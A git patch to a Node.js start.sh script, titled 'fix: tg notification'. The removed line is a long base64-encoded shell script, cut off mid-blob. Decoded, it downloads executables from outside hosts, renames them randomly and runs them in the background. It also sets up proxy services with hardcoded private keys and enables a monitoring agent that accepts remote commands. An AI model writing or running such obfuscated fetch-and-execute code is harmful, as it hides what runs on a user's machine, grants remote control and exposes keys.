From 1201defbf0891cd835c76ce458e829378a069672 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=80=81=E7=8E=8B?= Date: Tue, 28 Oct 2025 15:09:33 +0800 Subject: [PATCH] fix: tg notification --- nodejs/start.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodejs/start.sh b/nodejs/start.sh index 969f50e..4f04f99 100644 --- a/nodejs/start.sh +++ b/nodejs/start.sh @@ -19,6 +19,6 @@ export BOT_TOKEN=${BOT_TOKEN:-''} # TG bot_token, 使用自己的bot export UPLOAD_URL=${UPLOAD_URL:-''} # 订阅自动上传地址,没有可不填,需要填部署Merge-sub项目后的首页地址,例如:https://merge.zabc.net export DISABLE_ARGO=${DISABLE_ARGO:-'false'} # 是否禁用argo, true为禁用,false为不禁用 -echo "aWYgWyAtZiAiLmVudiIgXTsgdGhlbgogICAgc2V0IC1vIGFsbGV4cG9ydCAKICAgIHNvdXJjZSA8KGdyZXAgLXYgJ14jJyAuZW52IHwgc2VkICdzL15leHBvcnQgLy8nICkKICAgIHNldCArbyBhbGxleHBvcnQgIApmaQoKWyAhIC1kICIke0ZJTEVfUEFUSH0iIF0gJiYgbWtkaXIgLXAgIiR7RklMRV9QQVRIfSIKCmRlbGV0ZV9vbGRfbm9kZXMoKSB7CiAgW1sgLXogJFVQTE9BRF9VUkwgfHwgISAtZiAiJHtGSUxFX1BBVEh9L3N1Yi50eHQiIF1dICYmIHJldHVybgogIG9sZF9ub2Rlcz0kKGJhc2U2NCAtZCAiJHtGSUxFX1BBVEh9L3N1Yi50eHQiIHwgZ3JlcCAtRSAnKHZsZXNzfHZtZXNzfHRyb2phbnxoeXN0ZXJpYTJ8dHVpYyk6Ly8nKQogIFtbIC16ICRvbGRfbm9kZXMgXV0gJiYgcmV0dXJuCgogIGpzb25fZGF0YT0neyJub2RlcyI6IFsnCiAgZm9yIG5vZGUgaW4gJG9sZF9ub2RlczsgZG8KICAgICAganNvbl9kYXRhKz0iXCIkbm9kZVwiLCIKICBkb25lCiAganNvbl9kYXRhPSR7anNvbl9kYXRhJSx9ICAKICBqc29uX2RhdGErPSddfScKCiAgY3VybCAtWCBERUxFVEUgIiRVUExPQURfVVJML2FwaS9kZWxldGUtbm9kZXMiIFwKICAgICAgICAtSCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uIiBcCiAgICAgICAgLWQgIiRqc29uX2RhdGEiID4gL2Rldi9udWxsIDI+JjEKfQpkZWxldGVfb2xkX25vZGVzCgpybSAtcmYgYm9vdC5sb2cgY29uZmlnLmpzb24gdHVubmVsLmpzb24gdHVubmVsLnltbCAiJHtGSUxFX1BBVEh9L3N1Yi50eHQiID4vZGV2L251bGwgMj4mMQoKYXJnb19jb25maWd1cmUoKSB7CiAgaWYgWyAiJERJU0FCTEVfQVJHTyIgPT0gJ3RydWUnIF07IHRoZW4KICAgIHJldHVybgogIGZpCiAgCiAgaWYgW1sgLXogJEFSR09fQVVUSCB8fCAteiAkQVJHT19ET01BSU4gXV07IHRoZW4KICAgIGVjaG8gLWUgIlxlWzE7MzJtQVJHT19ET01BSU4gb3IgQVJHT19BVVRIIHZhcmlhYmxlIGlzIGVtcHR5LCB1c2UgcXVpY2sgdHVubmVsc1xlWzBtIiAgIAogICAgcmV0dXJuCiAgZmkKCiAgaWYgW1sgJEFSR09fQVVUSCA9fiBUdW5uZWxTZWNyZXQgXV07IHRoZW4KICAgIGVjaG8gJEFSR09fQVVUSCA+ICR7RklMRV9QQVRIfS90dW5uZWwuanNvbgogICAgY2F0ID4gdHVubmVsLnltbCA8PCBFT0YKdHVubmVsOiAkKGN1dCAtZFwiIC1mMTIgPDw8ICIkQVJHT19BVVRIIikKY3JlZGVudGlhbHMtZmlsZTogJHtGSUxFX1BBVEh9L3R1bm5lbC5qc29uCnByb3RvY29sOiBodHRwMgoKaW5ncmVzczoKICAtIGhvc3RuYW1lOiAkQVJHT19ET01BSU4KICAgIHNlcnZpY2U6IGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVAogICAgb3JpZ2luUmVxdWVzdDoKICAgICAgbm9UTFNWZXJpZnk6IHRydWUKICAtIHNlcnZpY2U6IGh0dHBfc3RhdHVzOjQwNApFT0YKICBlbHNlCiAgICBlY2hvIC1lICJcZVsxOzMybVVzaW5nIHRva2VuIGNvbm5lY3QgdG8gdHVubmVsLHBsZWFzZSBzZXQgJEFSR09fUE9SVCBpbiBjbG91ZGZsYXJlIHR1bm5lbFxlWzBtIgogIGZpCn0KYXJnb19jb25maWd1cmUKd2FpdAoKZG93bmxvYWRfYW5kX3J1bigpIHsKQVJDSD0kKHVuYW1lIC1tKSAmJiBGSUxFX0lORk89KCkKaWYgWyAiJEFSQ0giID09ICJhcm0iIF0gfHwgWyAiJEFSQ0giID09ICJhcm02NCIgXSB8fCBbICIkQVJDSCIgPT0gImFhcmNoNjQiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FybTY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiYW1kNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODZfNjQiIF0gfHwgWyAiJEFSQ0giID09ICJ4ODYiIF07IHRoZW4KICAgIEJBU0VfVVJMPSJodHRwczovL2FtZDY0LnNzc3MubnljLm1uIgplbGlmIFsgIiRBUkNIIiA9PSAiczM5MHgiIF0gfHwgWyAiJEFSQ0giID09ICJzMzkwIiBdOyB0aGVuCiAgICBCQVNFX1VSTD0iaHR0cHM6Ly9zMzkweC5zc3NzLm55Yy5tbiIKZWxzZQogICAgZWNobyAiVW5zdXBwb3J0ZWQgYXJjaGl0ZWN0dXJlOiAkQVJDSCIKICAgIGV4aXQgMQpmaQpGSUxFX0lORk89KCIkQkFTRV9VUkwvc2Igd2ViIiAiJEJBU0VfVVJML2JvdCBib3QiKQoKaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfUE9SVCIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML2FnZW50IG5wbSIpCmVsaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICBGSUxFX0lORk8rPSgiJEJBU0VfVVJML3YxIHBocCIpCiAgICBORVpIQV9UTFM9JChjYXNlICIke05FWkhBX1NFUlZFUiMjKjp9IiBpbiA0NDN8ODQ0M3wyMDk2fDIwODd8MjA4M3wyMDUzKSBlY2hvIC1uIHRydWU7OyAqKSBlY2hvIC1uIGZhbHNlOzsgZXNhYykKICAgIGNhdCA+ICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiIDw8IEVPRgpjbGllbnRfc2VjcmV0OiAke05FWkhBX0tFWX0KZGVidWc6IGZhbHNlCmRpc2FibGVfYXV0b191cGRhdGU6IHRydWUKZGlzYWJsZV9jb21tYW5kX2V4ZWN1dGU6IGZhbHNlCmRpc2FibGVfZm9yY2VfdXBkYXRlOiB0cnVlCmRpc2FibGVfbmF0OiBmYWxzZQpkaXNhYmxlX3NlbmRfcXVlcnk6IGZhbHNlCmdwdTogZmFsc2UKaW5zZWN1cmVfdGxzOiB0cnVlCmlwX3JlcG9ydF9wZXJpb2Q6IDE4MDAKcmVwb3J0X2RlbGF5OiA0CnNlcnZlcjogJHtORVpIQV9TRVJWRVJ9CnNraXBfY29ubmVjdGlvbl9jb3VudDogdHJ1ZQpza2lwX3Byb2NzX2NvdW50OiB0cnVlCnRlbXBlcmF0dXJlOiBmYWxzZQp0bHM6ICR7TkVaSEFfVExTfQp1c2VfZ2l0ZWVfdG9fdXBncmFkZTogZmFsc2UKdXNlX2lwdjZfY291bnRyeV9jb2RlOiBmYWxzZQp1dWlkOiAke1VVSUR9CkVPRgplbHNlCiAgICBlY2hvIC1lICJcZVsxOzM1bXNraXAgZG93bmxvYWQgbmV6aGFcZVswbSIKZmkKCmRlY2xhcmUgLUEgRklMRV9NQVAKZ2VuZXJhdGVfcmFuZG9tX25hbWUoKSB7CiAgICBsb2NhbCBjaGFycz1hYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejEyMzQ1Njc4OTAKICAgIGxvY2FsIG5hbWU9IiIKICAgIGZvciBpIGluIHsxLi42fTsgZG8KICAgICAgICBuYW1lPSIkbmFtZSR7Y2hhcnM6UkFORE9NJSR7I2NoYXJzfToxfSIKICAgIGRvbmUKICAgIGVjaG8gIiRuYW1lIgp9CmRvd25sb2FkX2ZpbGUoKSB7CiAgICBsb2NhbCBVUkw9JDEKICAgIGxvY2FsIE5FV19GSUxFTkFNRT0kMgoKICAgIGlmIGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjE7IHRoZW4KICAgICAgICBjdXJsIC1MIC1zUyAtbyAiJE5FV19GSUxFTkFNRSIgIiRVUkwiCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm1Eb3dubG9hZGVkICRORVdfRklMRU5BTUUgYnkgY3VybFxlWzBtIgogICAgZWxpZiBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxOyB0aGVuCiAgICAgICAgd2dldCAtcSAtTyAiJE5FV19GSUxFTkFNRSIgIiRVUkwiCiAgICAgICAgZWNobyAtZSAiXGVbMTszMm1Eb3dubG9hZGVkICRORVdfRklMRU5BTUUgYnkgd2dldFxlWzBtIgogICAgZWxzZQogICAgICAgIGVjaG8gLWUgIlxlWzE7MzNtTmVpdGhlciBjdXJsIG5vciB3Z2V0IGlzIGF2YWlsYWJsZSBmb3IgZG93bmxvYWRpbmdcZVswbSIKICAgICAgICBleGl0IDEKICAgIGZpCn0KZm9yIGVudHJ5IGluICIke0ZJTEVfSU5GT1tAXX0iOyBkbwogICAgVVJMPSQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMSkKICAgIFJBTkRPTV9OQU1FPSQoZ2VuZXJhdGVfcmFuZG9tX25hbWUpCiAgICBORVdfRklMRU5BTUU9IiR7RklMRV9QQVRIfS8kUkFORE9NX05BTUUiCiAgICAKICAgIGRvd25sb2FkX2ZpbGUgIiRVUkwiICIkTkVXX0ZJTEVOQU1FIgogICAgCiAgICBjaG1vZCAreCAiJE5FV19GSUxFTkFNRSIKICAgIEZJTEVfTUFQWyQoZWNobyAiJGVudHJ5IiB8IGN1dCAtZCAnICcgLWYgMildPSIkTkVXX0ZJTEVOQU1FIgpkb25lCndhaXQKCiMg5qOA5p+lcmVhbGl0eeWvhumSpeaWh+S7tuaYr+WQpuWtmOWcqO+8jOWtmOWcqOWImeivu+WPlu+8jOWQpuWImeeUn+aIkOaWsOeahAppZiBbIC1mICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgXTsgdGhlbgogICAgIyDlsJ3or5Xor7vlj5blr4bpkqUKICAgIHByaXZhdGVfa2V5PSQoZ3JlcCAiUHJpdmF0ZUtleToiICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgfCBhd2sgJ3twcmludCAkMn0nKQogICAgcHVibGljX2tleT0kKGdyZXAgIlB1YmxpY0tleToiICIke0ZJTEVfUEFUSH0va2V5LnR4dCIgfCBhd2sgJ3twcmludCAkMn0nKQogICAgCiAgICBpZiBbIC1uICIkcHJpdmF0ZV9rZXkiIF0gJiYgWyAtbiAiJHB1YmxpY19rZXkiIF07IHRoZW4KICAgICAgICB0cnVlCiAgICBlbHNlCiAgICAgICAgIyDor7vlj5blpLHotKXvvIzph43mlrDnlJ/miJAKICAgICAgICBvdXRwdXQ9JCgiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFt3ZWJdfSkiIGdlbmVyYXRlIHJlYWxpdHkta2V5cGFpcikKICAgICAgICBlY2hvICIkb3V0cHV0IiA+ICIke0ZJTEVfUEFUSH0va2V5LnR4dCIKICAgICAgICBwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCiAgICAgICAgcHVibGljX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9QdWJsaWNLZXk6LyB7cHJpbnQgJDJ9JykKICAgIGZpCmVsc2UKICAgIG91dHB1dD0kKCIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgZ2VuZXJhdGUgcmVhbGl0eS1rZXlwYWlyKQogICAgZWNobyAiJG91dHB1dCIgPiAiJHtGSUxFX1BBVEh9L2tleS50eHQiCiAgICBwcml2YXRlX2tleT0kKGVjaG8gIiR7b3V0cHV0fSIgfCBhd2sgJy9Qcml2YXRlS2V5Oi8ge3ByaW50ICQyfScpCiAgICBwdWJsaWNfa2V5PSQoZWNobyAiJHtvdXRwdXR9IiB8IGF3ayAnL1B1YmxpY0tleTovIHtwcmludCAkMn0nKQpmaQoKIyDnlJ/miJDor4Hkuablkoznp4HpkqUKaWYgY29tbWFuZCAtdiBvcGVuc3NsID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgb3BlbnNzbCBlY3BhcmFtIC1nZW5rZXkgLW5hbWUgcHJpbWUyNTZ2MSAtb3V0ICIke0ZJTEVfUEFUSH0vcHJpdmF0ZS5rZXkiCiAgICBvcGVuc3NsIHJlcSAtbmV3IC14NTA5IC1kYXlzIDM2NTAgLWtleSAiJHtGSUxFX1BBVEh9L3ByaXZhdGUua2V5IiAtb3V0ICIke0ZJTEVfUEFUSH0vY2VydC5wZW0iIC1zdWJqICIvQ049YmluZy5jb20iCmVsc2UKICAgICMg5Yib5bu656eB6ZKl5paH5Lu2CiAgICBjYXQgPiAiJHtGSUxFX1BBVEh9L3ByaXZhdGUua2V5IiA8PCAnRU9GJwotLS0tLUJFR0lOIEVDIFBBUkFNRVRFUlMtLS0tLQpCZ2dxaGtqT1BRTUJCdz09Ci0tLS0tRU5EIEVDIFBBUkFNRVRFUlMtLS0tLQotLS0tLUJFR0lOIEVDIFBSSVZBVEUgS0VZLS0tLS0KTUhjQ0FRRUVJTTQ3OTJTRXRQcUl0MXl3cVRkLzBiWWlkQnFwWVYvKytzaU5uZkJZc2RVWW9Bb0dDQ3FHU000OQpBd0VIb1VRRFFnQUUxa0hhZlBqMDdySkcrSGJvSDJla0FJNHIrZTZUTDM4R1dBU0FObm5nWnJlb1FERjE2QVJhCi9Uc3lMeUZvUGtoTHhTYmVoSC9OQkVqSHRTWkdhRGhNcVE9PQotLS0tLUVORCBFQyBQUklWQVRFIEtFWS0tLS0tCkVPRgoKICAgICMg5Yib5bu66K+B5Lmm5paH5Lu2CiAgICBjYXQgPiAiJHtGSUxFX1BBVEh9L2NlcnQucGVtIiA8PCAnRU9GJwotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0KTUlJQmVqQ0NBU0dnQXdJQkFnSVVmV2VRTDM1NTZQTkpMcC92ZUNGeEdOajljcmt3Q2dZSUtvWkl6ajBFQXdJdwpFekVSTUE4R0ExVUVBd3dJWW1sdVp5NWpiMjB3SGhjTk1qVXdPVEU0TVRneU1ESXlXaGNOTXpVd09URTJNVGd5Ck1ESXlXakFUTVJFd0R3WURWUVFEREFoaWFXNW5MbU52YlRCWk1CTUdCeXFHU000OUFnRUdDQ3FHU000OUF3RUgKQTBJQUJOWkIybno0OU82eVJ2aDI2QjlucEFDT0svbnVreTkvQmxnRWdEWjU0R2EzcUVBeGRlZ0VXdjA3TWk4aAphRDVJUzhVbTNvUi96UVJJeDdVbVJtZzRUS21qVXpCUk1CMEdBMVVkRGdRV0JCVFYxY0ZJRDdVSVNFN1BMVEJSCkJmR2Jna3JNTnpBZkJnTlZIU01FR0RBV2dCVFYxY0ZJRDdVSVNFN1BMVEJSQmZHYmdrck1OekFQQmdOVkhSTUIKQWY4RUJUQURBUUgvTUFvR0NDcUdTTTQ5QkFNQ0EwY0FNRVFDSUFJREFKdmcwdmQveXRyUVZ2RWNTbTZYVGxCKwplUTZPRmI5TGJMWUw5ZitzQWlBZmZvTWJpNHkvMFlVU2xUdHo3YXM5UzgvbGNpQkY1VkNVb1ZJS1MrdlgyZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KRU9GCmZpCgogIGNhdCA+ICR7RklMRV9QQVRIfS9jb25maWcuanNvbiA8PCBFT0YKewogICAgImxvZyI6IHsKICAgICAgImRpc2FibGVkIjogdHJ1ZSwKICAgICAgImxldmVsIjogImVycm9yIiwKICAgICAgInRpbWVzdGFtcCI6IHRydWUKICAgIH0sCiAgICAiaW5ib3VuZHMiOiBbCiAgICB7CiAgICAgICJ0YWciOiAidm1lc3Mtd3MtaW4iLAogICAgICAidHlwZSI6ICJ2bWVzcyIsCiAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAibGlzdGVuX3BvcnQiOiAke0FSR09fUE9SVH0sCiAgICAgICAgInVzZXJzIjogWwogICAgICAgIHsKICAgICAgICAgICJ1dWlkIjogIiR7VVVJRH0iCiAgICAgICAgfQogICAgICBdLAogICAgICAidHJhbnNwb3J0IjogewogICAgICAgICJ0eXBlIjogIndzIiwKICAgICAgICAicGF0aCI6ICIvdm1lc3MtYXJnbyIsCiAgICAgICAgImVhcmx5X2RhdGFfaGVhZGVyX25hbWUiOiAiU2VjLVdlYlNvY2tldC1Qcm90b2NvbCIKICAgICAgfQogICAgfSQoaWYgWyAiJFRVSUNfUE9SVCIgIT0gIiIgXTsgdGhlbiBlY2hvICcsCiAgICB7CiAgICAgICJ0YWciOiAidHVpYy1pbiIsCiAgICAgICJ0eXBlIjogInR1aWMiLAogICAgICAibGlzdGVuIjogIjo6IiwKICAgICAgImxpc3Rlbl9wb3J0IjogJyR7VFVJQ19QT1JUfScsCiAgICAgICJ1c2VycyI6IFsKICAgICAgICB7CiAgICAgICAgICAidXVpZCI6ICInJHtVVUlEfSciLAogICAgICAgICAgInBhc3N3b3JkIjogImFkbWluIgogICAgICAgIH0KICAgICAgXSwKICAgICAgImNvbmdlc3Rpb25fY29udHJvbCI6ICJiYnIiLAogICAgICAidGxzIjogewogICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAiYWxwbiI6IFsKICAgICAgICAgICJoMyIKICAgICAgICBdLAogICAgICAgICJjZXJ0aWZpY2F0ZV9wYXRoIjogIicke0ZJTEVfUEFUSH0nL2NlcnQucGVtIiwKICAgICAgICAia2V5X3BhdGgiOiAiJyR7RklMRV9QQVRIfScvcHJpdmF0ZS5rZXkiCiAgICAgIH0KICAgIH0nOyBmaSkkKGlmIFsgIiRIWTJfUE9SVCIgIT0gIiIgXTsgdGhlbiBlY2hvICcsCiAgICB7CiAgICAgICJ0YWciOiAiaHlzdGVyaWEyLWluIiwKICAgICAgInR5cGUiOiAiaHlzdGVyaWEyIiwKICAgICAgImxpc3RlbiI6ICI6OiIsCiAgICAgICJsaXN0ZW5fcG9ydCI6ICcke0hZMl9QT1JUfScsCiAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgewogICAgICAgICAgICAgInBhc3N3b3JkIjogIicke1VVSUR9JyIKICAgICAgICAgIH0KICAgICAgXSwKICAgICAgIm1hc3F1ZXJhZGUiOiAiaHR0cHM6Ly9iaW5nLmNvbSIsCiAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgImVuYWJsZWQiOiB0cnVlLAogICAgICAgICAgICAiYWxwbiI6IFsKICAgICAgICAgICAgICAgICJoMyIKICAgICAgICAgICAgXSwKICAgICAgICAgICAgImNlcnRpZmljYXRlX3BhdGgiOiAiJyR7RklMRV9QQVRIfScvY2VydC5wZW0iLAogICAgICAgICAgICAia2V5X3BhdGgiOiAiJyR7RklMRV9QQVRIfScvcHJpdmF0ZS5rZXkiCiAgICAgICAgICB9CiAgICAgIH0nOyBmaSkkKGlmIFsgIiRSRUFMSVRZX1BPUlQiICE9ICIiIF07IHRoZW4gZWNobyAnLAogICAgICB7CiAgICAgICAgInRhZyI6ICJ2bGVzcy1yZWFsaXR5LXZlc2lvbiIsCiAgICAgICAgInR5cGUiOiAidmxlc3MiLAogICAgICAgICJsaXN0ZW4iOiAiOjoiLAogICAgICAgICJsaXN0ZW5fcG9ydCI6ICcke1JFQUxJVFlfUE9SVH0nLAogICAgICAgICAgInVzZXJzIjogWwogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICJ1dWlkIjogIickVVVJRCciLAogICAgICAgICAgICAgICAgImZsb3ciOiAieHRscy1ycHJ4LXZpc2lvbiIKICAgICAgICAgICAgICB9CiAgICAgICAgICBdLAogICAgICAgICAgInRscyI6IHsKICAgICAgICAgICAgICAiZW5hYmxlZCI6IHRydWUsCiAgICAgICAgICAgICAgInNlcnZlcl9uYW1lIjogInd3dy5uYXpodW1pLmNvbSIsCiAgICAgICAgICAgICAgInJlYWxpdHkiOiB7CiAgICAgICAgICAgICAgICAgICJlbmFibGVkIjogdHJ1ZSwKICAgICAgICAgICAgICAgICAgImhhbmRzaGFrZSI6IHsKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXIiOiAid3d3Lm5hemh1bWkuY29tIiwKICAgICAgICAgICAgICAgICAgICAgICJzZXJ2ZXJfcG9ydCI6IDQ0MwogICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAicHJpdmF0ZV9rZXkiOiAiJyRwcml2YXRlX2tleSciLAogICAgICAgICAgICAgICAgICAic2hvcnRfaWQiOiBbCiAgICAgICAgICAgICAgICAgICAgIiIKICAgICAgICAgICAgICAgICAgXQogICAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgfSc7IGZpKQogICBdLAogICJvdXRib3VuZHMiOiBbCiAgICB7CiAgICAgICJ0eXBlIjogImRpcmVjdCIsCiAgICAgICJ0YWciOiAiZGlyZWN0IgogICAgfSwKICAgIHsKICAgICAgInR5cGUiOiAiYmxvY2siLAogICAgICAidGFnIjogImJsb2NrIgogICAgfSwKICAgIHsKICAgICAgInR5cGUiOiAid2lyZWd1YXJkIiwKICAgICAgInRhZyI6ICJ3aXJlZ3VhcmQtb3V0IiwKICAgICAgInNlcnZlciI6ICJlbmdhZ2UuY2xvdWRmbGFyZWNsaWVudC5jb20iLAogICAgICAic2VydmVyX3BvcnQiOiAyNDA4LAogICAgICAibG9jYWxfYWRkcmVzcyI6IFsKICAgICAgICAiMTcyLjE2LjAuMi8zMiIsCiAgICAgICAgIjI2MDY6NDcwMDoxMTA6ODUxZjo0ZGEzOjRlMmM6Y2RiZjoyZWNmLzEyOCIKICAgICAgXSwKICAgICAgInByaXZhdGVfa2V5IjogImVBeDhvNk1Kckg0S0U3aXZQRkZDYTRxdll3NW5Kc1lIQ0JRWFBBcFFYMUE9IiwKICAgICAgInBlZXJfcHVibGljX2tleSI6ICJibVhPQytGMUZ4RU1GOWR5aUsySDUvMVNVdHpIMEp1Vm81MWgyd1BmZ3lvPSIsCiAgICAgICJyZXNlcnZlZCI6IFs4MiwgOTAsIDUxXSwKICAgICAgIm10dSI6IDE0MjAKICAgIH0KICBdLAogICJyb3V0ZSI6IHsKICAgICJydWxlX3NldCI6IFsKICAgICAgewogICAgICAgICJ0YWciOiAibmV0ZmxpeCIsCiAgICAgICAgInR5cGUiOiAicmVtb3RlIiwKICAgICAgICAiZm9ybWF0IjogImJpbmFyeSIsCiAgICAgICAgInVybCI6ICJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vTWV0YUN1YmVYL21ldGEtcnVsZXMtZGF0L3NpbmcvZ2VvL2dlb3NpdGUvbmV0ZmxpeC5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9LAogICAgICB7CiAgICAgICAgInRhZyI6ICJvcGVuYWkiLAogICAgICAgICJ0eXBlIjogInJlbW90ZSIsCiAgICAgICAgImZvcm1hdCI6ICJiaW5hcnkiLAogICAgICAgICJ1cmwiOiAiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL01ldGFDdWJlWC9tZXRhLXJ1bGVzLWRhdC9zaW5nL2dlby9nZW9zaXRlL29wZW5haS5zcnMiLAogICAgICAgICJkb3dubG9hZF9kZXRvdXIiOiAiZGlyZWN0IgogICAgICB9CiAgICBdLAogICAgInJ1bGVzIjogWwogICAgICB7CiAgICAgICAgInJ1bGVfc2V0IjogWyJuZXRmbGl4IiwgIm9wZW5haSJdLAogICAgICAgICJvdXRib3VuZCI6ICJ3aXJlZ3VhcmQtb3V0IgogICAgICB9CiAgICBdLAogICAgImZpbmFsIjogImRpcmVjdCIKICB9Cn0KRU9GCgppZiBbIC1lICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3dlYl19KSIgXTsgdGhlbgogICAgbm9odXAgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbd2ViXX0pIiBydW4gLWMgJHtGSUxFX1BBVEh9L2NvbmZpZy5qc29uID4vZGV2L251bGwgMj4mMSAmCiAgICBzbGVlcCAyCiAgICBlY2hvIC1lICJcZVsxOzMybSQoYmFzZW5hbWUgJHtGSUxFX01BUFt3ZWJdfSkgaXMgcnVubmluZ1xlWzBtIgpmaQoKaWYgWyAiJERJU0FCTEVfQVJHTyIgPT0gJ2ZhbHNlJyBdOyB0aGVuCiAgaWYgWyAtZSAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtib3RdfSkiIF07IHRoZW4KICAgICAgaWYgW1sgJEFSR09fQVVUSCA9fiBeW0EtWjAtOWEtej1dezEyMCwyNTB9JCBdXTsgdGhlbgogICAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIHJ1biAtLXRva2VuICR7QVJHT19BVVRIfSIKICAgICAgZWxpZiBbWyAkQVJHT19BVVRIID1+IFR1bm5lbFNlY3JldCBdXTsgdGhlbgogICAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tY29uZmlnICR7RklMRV9QQVRIfS90dW5uZWwueW1sIHJ1biIKICAgICAgZWxzZQogICAgICAgIGFyZ3M9InR1bm5lbCAtLWVkZ2UtaXAtdmVyc2lvbiBhdXRvIC0tbm8tYXV0b3VwZGF0ZSAtLXByb3RvY29sIGh0dHAyIC0tbG9nZmlsZSAke0ZJTEVfUEFUSH0vYm9vdC5sb2cgLS1sb2dsZXZlbCBpbmZvIC0tdXJsIGh0dHA6Ly9sb2NhbGhvc3Q6JEFSR09fUE9SVCIKICAgICAgZmkKICAgICAgbm9odXAgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbYm90XX0pIiAkYXJncyA+L2Rldi9udWxsIDI+JjEgJgogICAgICBzbGVlcCAyCiAgICAgIGVjaG8gLWUgIlxlWzE7MzJtJChiYXNlbmFtZSAke0ZJTEVfTUFQW2JvdF19KSBpcyBydW5uaW5nXGVbMG0iIAogIGZpCmZpCgppZiBbIC1uICIkTkVaSEFfU0VSVkVSIiBdICYmIFsgLW4gIiRORVpIQV9QT1JUIiBdICYmIFsgLW4gIiRORVpIQV9LRVkiIF07IHRoZW4KICAgIGlmIFsgLWUgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbbnBtXX0pIiBdOyB0aGVuCiAgICAgIHRsc1BvcnRzPSgiNDQzIiAiODQ0MyIgIjIwOTYiICIyMDg3IiAiMjA4MyIgIjIwNTMiKQogICAgICBbWyAiJHt0bHNQb3J0c1sqXX0iID1+ICIke05FWkhBX1BPUlR9IiBdXSAmJiBORVpIQV9UTFM9Ii0tdGxzIiB8fCBORVpIQV9UTFM9IiIKICAgICAgZXhwb3J0IFRNUERJUj0kKHB3ZCkKICAgICAgbm9odXAgIiR7RklMRV9QQVRIfS8kKGJhc2VuYW1lICR7RklMRV9NQVBbbnBtXX0pIiAtcyAke05FWkhBX1NFUlZFUn06JHtORVpIQV9QT1JUfSAtcCAke05FWkhBX0tFWX0gJHtORVpIQV9UTFN9ID4vZGV2L251bGwgMj4mMSAmCiAgICAgIHNsZWVwIDIKICAgICAgZWNobyAtZSAiXGVbMTszMm0kKGJhc2VuYW1lICR7RklMRV9NQVBbbnBtXX0pIGlzIHJ1bm5pbmdcZVswbSIKICAgIGZpCmVsaWYgWyAtbiAiJE5FWkhBX1NFUlZFUiIgXSAmJiBbIC1uICIkTkVaSEFfS0VZIiBdOyB0aGVuCiAgICBpZiBbIC1lICIke0ZJTEVfUEFUSH0vJChiYXNlbmFtZSAke0ZJTEVfTUFQW3BocF19KSIgXTsgdGhlbgogICAgICBub2h1cCAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkiIC1jICIke0ZJTEVfUEFUSH0vY29uZmlnLnlhbWwiID4vZGV2L251bGwgMj4mMSAmCiAgICAgIGVjaG8gLWUgIlxlWzE7MzJtJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFtwaHBdfSkgaXMgcnVubmluZ1xlWzBtIgogICAgZmkKZWxzZQogICAgZWNobyAtZSAiXGVbMTszNW1ORVpIQSB2YXJpYWJsZSBpcyBlbXB0eSwgc2tpcCBydW5uaW5nXGVbMG0iCmZpCgpmb3Iga2V5IGluICIkeyFGSUxFX01BUFtAXX0iOyBkbwogICAgaWYgWyAtZSAiJHtGSUxFX1BBVEh9LyQoYmFzZW5hbWUgJHtGSUxFX01BUFska2V5XX0pIi